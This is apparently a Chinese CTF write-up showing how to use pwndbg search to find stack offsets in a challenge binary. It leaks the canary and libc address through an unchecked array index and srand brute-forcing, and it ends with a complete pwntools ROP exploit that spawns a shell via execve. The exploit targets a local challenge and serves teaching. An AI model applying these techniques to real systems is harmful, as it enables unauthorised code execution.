0%

pwndbg搜索技巧+one_gadget

pwndbg搜索技巧+one_gadget

这是某个CTF比赛上的题目

记得当时在打比赛时死活搞不出来“__libc_start_main”的偏移量(其实我都已经在GDB中看见了),看国外某大佬的WP后学到了不少关于“pwndbg搜索”的知识

通过这个题目我也纠正了不少概念上的误区,于是在此记录


1641000070341

循环输入

1641000121563

1641000135559

64位,dynamically,全开

1641000226315

代码分析

1641000431581

获取数据数到“buf”中

sub_ACA:

1641000694377

在s1中读入256字节(遇到“\n”就中断)

小循环:

1641000905974

如果前3个字节是”id “就把“v5”转换为整数并赋值给“v1”,否则就break

大循环:

1641001004738

如果前6字节是“create”就执行函数sub_BD1,否则就break

sub_BD1:

1641001295275

随机生成一段字符串

特大循环:

1641001361592

如果前4字节是“quit”则break结束程序

漏洞分析

1641003509946

1641001641478

这里就有数组越位和栈溢出

没有system,没有“/bin/sh”

1641379976647

“buf[v1]”并没有好好检查下标

入侵思路

首先考虑绕开PIE和Canary

那么这么泄露地址呢?

1641003528827

输出函数printf可以输出“s”的值,而“s”是用随机数拼凑出来的,而且有memset填充“0”,想控制printf根本不可能

但是有一种邪门的方式可以泄露canary:

1641379976647

“buf[v1]”并没有好好检查下标,也就是说,程序会把任何栈上的数据给放入“sub_BD1”进行加密,如果我们对加密后的数据进行分析,说不定就可以还原加密值

那么这里有两个问题需要解决:

1.canary相对于“buf[0]”的偏移

2.获取对应偏移的对应值

第一个问题需要在pwndbg中看:

在函数“sub_BD1”调用时,RAX中的值就是“buf[0]”(在ID那里输入的“0”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0xf593
RBX 0x555555400e10 ◂— push r15
RCX 0xffffffc0
RDX 0x6
*RDI 0xf593
RSI 0x555555400f09 ◂— movsxd rsi, dword ptr [rdx + 0x65] /* 'create' */
R8 0x2
R9 0x2
R10 0x555555400f02 ◂— and byte ptr ds:[rax], al /* '> ' */
R11 0x6
R12 0x5555554009c0 ◂— xor ebp, ebp
R13 0x7fffffffddf0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdce0 —▸ 0x7fffffffdd00 ◂— 0x0
RSP 0x7fffffffdc60 ◂— 0xd68 /* 'h\r' */
*RIP 0x555555400d80 ◂— call 0x555555400bd1

发现其值为 “0xf593” ,用pwngdb查找这个字符串:

1
2
3
4
5
6
7
8
9
10
pwndbg> search -t word 0xf593
libc-2.31.so 0x7ffff7f78381 0x81fff59381fff593
libc-2.31.so 0x7ffff7f78385 0x5fff59381fff593
libc-2.31.so 0x7ffff7f78389 0x9ffff59105fff593
libc-2.31.so 0x7ffff7f78395 0x81fff59381fff593
libc-2.31.so 0x7ffff7f78399 0xf3fff59381fff593
libc-2.31.so 0x7ffff7f7839d 0xfff58ff3fff593
libc-2.31.so 0x7ffff7f87fe9 0xd400019d60fff593
[stack] 0x7fffffffdbfc 0xf593
[stack] 0x7fffffffdc76 0x86a89b009b7df593

接着找寻canary的值:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> canary
AT_RANDOM = 0x7fffffffe149 # points to (not masked) global canary value
Canary = 0x959c7d572835fc00 (may be incorrect on != glibc)
Found valid canaries on the stacks:
00:00000x7fffffffd558 ◂— 0x959c7d572835fc00
00:00000x7fffffffd5c8 ◂— 0x959c7d572835fc00
00:00000x7fffffffdac8 ◂— 0x959c7d572835fc00
00:00000x7fffffffdb28 ◂— 0x959c7d572835fc00
00:00000x7fffffffdb38 ◂— 0x959c7d572835fc00
00:00000x7fffffffdb98 ◂— 0x959c7d572835fc00
00:00000x7fffffffdc48 ◂— 0x959c7d572835fc00
00:00000x7fffffffdcd8 ◂— 0x959c7d572835fc00

查找“0x959c7d572835fc00”(canary)的地址:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> search -t qword 0x959c7d572835fc00
[anon_7ffff7fb1] 0x7ffff7fb6568 0x959c7d572835fc00
[stack] 0x7fffffffb3e8 0x959c7d572835fc00
[stack] 0x7fffffffb458 0x959c7d572835fc00
[stack] 0x7fffffffd558 0x959c7d572835fc00
[stack] 0x7fffffffd5c8 0x959c7d572835fc00
[stack] 0x7fffffffdac8 0x959c7d572835fc00
[stack] 0x7fffffffdb28 0x959c7d572835fc00
[stack] 0x7fffffffdb38 0x959c7d572835fc00
[stack] 0x7fffffffdb98 0x959c7d572835fc00
[stack] 0x7fffffffdc48 0x959c7d572835fc00
[stack] 0x7fffffffdcd8 0x959c7d572835fc00

现在我们找到了canary中出现的随机数的地址,还有“buf[0]”中随机数的地址

按道理来说,两者相减就可以得到canary随机数相对于“buf[0]”的偏移了,但是我们却搜索到了多组数据,这是因为这些数据可能在随机数表中多次出现

只有一次一次尝试,把离谱的排除了之后就得到偏移了(相当看脸)

1
2
0x7fffffffdcd8 - 0x7fffffffdc76 = 98
98 / 2 = 49 #数组buf的类型为‘int16’

第二个问题有一点麻烦:(先看一段代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
hashes = {}
stack_canary_offset = 49
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

def leak(offset):
p.recvuntil(b'> ')
p.sendline(b'id ' + str(offset).encode())
p.recvuntil(b'> ')
p.sendline(b'create')
p.recvuntil(b'Your key: ')
key = p.recvline().strip().decode()
value = hashes[key]
log.info('Offset {}: {} ({})'.format(offset, key, hex(value)))
return value

def precompute():
global hashes
for i in range(0xffff+1): #循环少了匹配的几率小,循环多了匹配的时间长
libc.srand(i)
val = ''
for j in range(32):
val += charset[libc.rand() % len(charset)]
hashes[val] = i
log.info("Computed {} hashes.".format(len(hashes)))

precompute()
canary = 0

for i in range(4):
canary+=(leak(stack_canary_offset + i))<<(16*i)
print("canary >> "+hex(canary))

函数leak中的offset其实就是canary在随机数表中的偏移,对应偏移中存放的数据就是canary片段的值,这里我们可以用一个很骚的方式获取这个值

我们直接把canary的偏移输入给程序,程序就会读取canary的值,并且用这个值来生成“32位”字符串,我们这里用循环“从 0 到 0xffff+1” 依次生成“32位”字符串,然后把“程序生成的”和“我们生成的”进行对比,如果可以匹配就证明canary的值就是对应的下标

​ // 当然也有小概率会重复,多试几次就好了

解决了canary就要考虑怎么获取shell的问题:

首先程序开了PIE的,ROP基本上废了,需要泄露“__libc_start_main”

我们可以用泄露canary的方式来泄露“__libc_start_main”(就是有一点麻烦)

先在pwndbg中看”buf[0]”的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0x9bf0
RBX 0x555555400e10 ◂— push r15
RCX 0xffffffc0
RDX 0x6
*RDI 0x9bf0
RSI 0x555555400f09 ◂— movsxd rsi, dword ptr [rdx + 0x65] /* 'create' */
R8 0x2
R9 0x2
R10 0x555555400f02 ◂— and byte ptr ds:[rax], al /* '> ' */
R11 0x6
R12 0x5555554009c0 ◂— xor ebp, ebp
R13 0x7fffffffde00 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdcf0 —▸ 0x7fffffffdd10 ◂— 0x0
RSP 0x7fffffffdc70 ◂— 0xd68 /* 'h\r' */
*RIP 0x555555400d80 ◂— call 0x555555400bd1

搜索一下:

1
2
3
pwndbg> search -t word 0x9bf0
libc-2.31.so 0x7ffff7fa54e0 0xf5fff69bf0
[stack] 0x7fffffffdc86 0x9260245d5a0d9bf0

然后不知道从哪里掏出来“main”的返回地址

1
2
3
► f 0   0x555555400d80
f 1 0x555555400dfe
f 2 0x7ffff7dea0b3 __libc_start_main+243

搜索一下这个地址,就得到了存放“返回地址”的地址

1
2
pwndbg> search -t qword 0x7ffff7dea0b3
[stack] 0x7fffffffdd18 0x7ffff7dea0b3

两者相减计算偏移:

1
2
0x7fffffffdd18 - 0x7fffffffdc86 = 146
146 / 2 = 73

放入刚刚的模块中“__libc_start_main”的地址就有了

1
2
3
4
__libc_start_main = 0
for i in range(4):
__libc_start_main+=(leak(stack_libc_start_main_offset + i))<<(16*i)
print("__libc_start_main >> "+hex(__libc_start_main))

最后可以用“one_gadget”来打

1
2
3
4
5
6
7
8
9
10
11
12
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *   
import ctypes

p=process('./newbie')
elf=ELF('./newbie')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
#context.log_level = 'debug'
hashes = {}
stack_canary_offset = 49
stack_libc_start_main_offset = 73
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

def leak(offset):
p.recvuntil(b'> ')
p.sendline(b'id ' + str(offset).encode())
p.recvuntil(b'> ')
p.sendline(b'create')
p.recvuntil(b'Your key: ')
key = p.recvline().strip().decode()
value = hashes[key]
# Correct for the 1 and 0 collision.
if value == 1:
value = 0
log.info('Offset {}: {} ({})'.format(offset, key, hex(value)))
return value

def precompute():
libc = ctypes.cdll.LoadLibrary("libc.so.6")
global hashes
for i in range(0xffff+1):
libc.srand(i)
val = ''
for j in range(32):
val += charset[libc.rand() % len(charset)]
hashes[val] = i
log.info("Computed {} hashes.".format(len(hashes)))

precompute()

canary = 0
for i in range(4):
canary+=(leak(stack_canary_offset + i))<<(16*i)
print("canary >> "+hex(canary))

__libc_start_main = 0
for i in range(4):
__libc_start_main+=(leak(stack_libc_start_main_offset + i))<<(16*i)
print("__libc_start_main >> "+hex(__libc_start_main-243))

libc_start_main_offset = libc.libc_start_main_return
libc_base=__libc_start_main-libc_start_main_offset
print("libc_base >> "+hex(libc_base))

poprdi_ret=libc_base+0x0000000000026b72
poprsi_ret=libc_base+0x0000000000027529
poprdx_poprbx_ret=libc_base+0x0000000000162866
binsh_libc=libc_base+0x00000000001b75aa
execve_libc=libc_base+libc.sym['execve']
print('execve >> ' +hex(execve_libc))

p.recvuntil('> ')
payload=b'a'*(0x60-8)+p64(canary)+b'b'*8
payload+=p64(poprdi_ret)+p64(binsh_libc)
payload+=p64(poprsi_ret)+p64(0)
payload+=p64(poprdx_poprbx_ret)+p64(0)+p64(0)
payload+=p64(execve_libc)
print(len(payload))
p.sendline(payload)
p.recvuntil('> ')
p.sendline('quit')

p.interactive()

参考: pwn题查找字符串方法记录


PS:

我这个libc版本打不了“one_gadget”,只能自己凑了

还有一个问题:用system打不通,但execve一下子就通了